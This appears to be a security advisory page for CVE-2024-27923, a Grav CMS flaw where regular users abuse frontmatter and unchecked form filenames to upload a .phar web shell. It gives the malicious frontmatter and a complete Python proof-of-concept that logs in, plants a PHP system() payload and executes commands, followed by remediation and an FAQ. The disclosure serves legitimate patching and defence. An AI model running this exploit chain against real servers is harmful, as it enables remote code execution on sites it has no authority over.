CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter
Summary - Due to insufficient permission verification, user who can write a page use frontmatter feature. - Inadequate File Name Validation
Details 1. Insufficient Permission Verification
In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link
2. Inadequate File Name Validation
To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xsscheck: false attribute should be added. Disable XSS
--- title: Contact Form
form: name: contact xsscheck: false
fields: name: label: Name placeholder: Enter your name autocomplete: on type: text validate: required: true
buttons: submit: type: submit value: Submit
process: save: filename: thisisfilename.phar operation: add
---
Contact form
Some sample page content
Exploiting these two vulnerabilities allows the following scenario:
- A regular user account capable of creating pages is required. - An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account. - Accessing the Contact Form page, the attacker submits PHP code. - The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].
PoC
PoC Video Link
python PoC.py import requests from bs4 import BeautifulSoup
class Poc:
def init(self, cmd): self.sess = requests.Session()
########## INIT ################ self.USERNAME = "guest" self.PASSWORD = "Guest123!" self.PREFIXURL = "http://192.168.12.119:8888/grav" self.PAGENAME = "thisispocpage47" self.PHPFILENAME = "universe.phar" self.PAYLOAD = '<?php system($GET["cmd"]); ?>' self.cmd = cmd ########## END ################
self.sess.get(self.PREFIXURL) self.login() self.savepage() self.injectcommand() self.executecommand()
def getnonce(self, data, name): # Get login nonce value res = BeautifulSoup(data, "html.parser") return res.find("input", {"name" : name}).get("value")
def login(self): print("[] Try to Login") res = self.sess.get(self.PREFIXURL + "/admin")
loginnonce = self.getnonce(res.text, "login-nonce")
# Login logindata = { "data[username]" : self.USERNAME, "data[password]" : self.PASSWORD, "task" : "login", "login-nonce" : loginnonce } res = self.sess.post(self.PREFIXURL + "/admin", data=logindata)
# Check login if res.statuscode != 303: print("[!] username or password is wrong") exit() print("[] Success Login")
def savepage(self): print("[] Try to write page")
res = self.sess.get(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")
# Add page data pagedata = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGENAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGENAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbodyclasses%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Borderby%5D=&data%5Bheader%5D%5Bordermanual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&postentriessave=edit&form-name=flex-pages&uniqueformid={uniqueformid}&form-nonce={formnonce}&toggleabledata%5Bheader%5D%5Bpublished%5D=0&toggleabledata%5Bheader%5D%5Bdate%5D=0&toggleabledata%5Bheader%5D%5Bpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bunpublishdate%5D=0&toggleabledata%5Bheader%5D%5Bmetadata%5D=0&toggleabledata%5Bheader%5D%5Bdateformat%5D=0&toggleabledata%5Bheader%5D%5Bmenu%5D=0&toggleabledata%5Bheader%5D%5Bslug%5D=0&toggleabledata%5Bheader%5D%5Bredirect%5D=0&toggleabledata%5Bheader%5D%5Bprocess%5D=0&toggleabledata%5Bheader%5D%5Btwigfirst%5D=0&toggleabledata%5Bheader%5D%5Bnevercachetwig%5D=0&toggleabledata%5Bheader%5D%5Bchildtype%5D=0&toggleabledata%5Bheader%5D%5Broutable%5D=0&toggleabledata%5Bheader%5D%5Bcacheenable%5D=0&toggleabledata%5Bheader%5D%5Bvisible%5D=0&toggleabledata%5Bheader%5D%5Bdebugger%5D=0&toggleabledata%5Bheader%5D%5Btemplate%5D=0&toggleabledata%5Bheader%5D%5Bappendurlextension%5D=0&toggleabledata%5Bheader%5D%5Bredirectdefaultroute%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleabledata%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleabledata%5Bheader%5D%5Badmin%5D%5Bchildrendisplayorder%5D=0&toggleabledata%5Bheader%5D%5Blogin%5D%5Bvisibilityrequiresaccess%5D=0" pagedata += f"&data%5Bjson%5D%5Bheader%5D%5Bform%5D=%7B%22xsscheck%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHPFILENAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D" res = self.sess.post(self.PREFIXURL + f"/admin/pages/{self.PAGENAME}/:add" , data = pagedata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[] Success write page: " + self.PREFIXURL + f"/{self.PAGENAME}")
def injectcommand(self): print("[] Try to inject php code")
res = self.sess.get(self.PREFIXURL + f"/{self.PAGENAME}") formnonce = self.getnonce(res.text, "form-nonce") uniqueformid = self.getnonce(res.text, "uniqueformid")
formdata = f"data%5Bname%5D={self.PAYLOAD}&form-name=contact-form&uniqueformid={uniqueformid}&form-nonce={formnonce}"
res = self.sess.post(self.PREFIXURL + f"/{self.PAGENAME}" , data = formdata, headers = {'Content-Type': 'application/x-www-form-urlencoded'})
print("[] Success inject php code")
def executecommand(self): res = self.sess.get(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}")
if res.statuscode == 404: print("[!] Fail to execute command or not save php file.") exit()
print("[] This is uploaded php file url.") print(self.PREFIXURL + f"/user/data/contact-form/{self.PHPFILENAME}?cmd={self.cmd}") print(res.text)
if name == "main": Poc(cmd="id")
Impact
Remote Code Execution
Other sources
Grav is a content management system (CMS). Prior to version 1.7.43, users who may write a page may use the frontmatter feature due to insufficient permission validation and inadequate file name validation. This may lead to remote code execution. Version 1.7.43 fixes this issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-27923?
CVE-2024-27923 is considered a medium severity vulnerability due to insufficient permission verification.
How do I fix CVE-2024-27923?
To fix CVE-2024-27923, update Grav CMS to version 1.7.43 or later.
What causes CVE-2024-27923?
CVE-2024-27923 is caused by inadequate permission verification and file name validation in Grav CMS.
Who is affected by CVE-2024-27923?
Users of Grav CMS versions prior to 1.7.43 are affected by CVE-2024-27923.
What features are impacted by CVE-2024-27923?
CVE-2024-27923 affects the frontmatter feature in Grav CMS, allowing unauthorized access to certain functionalities.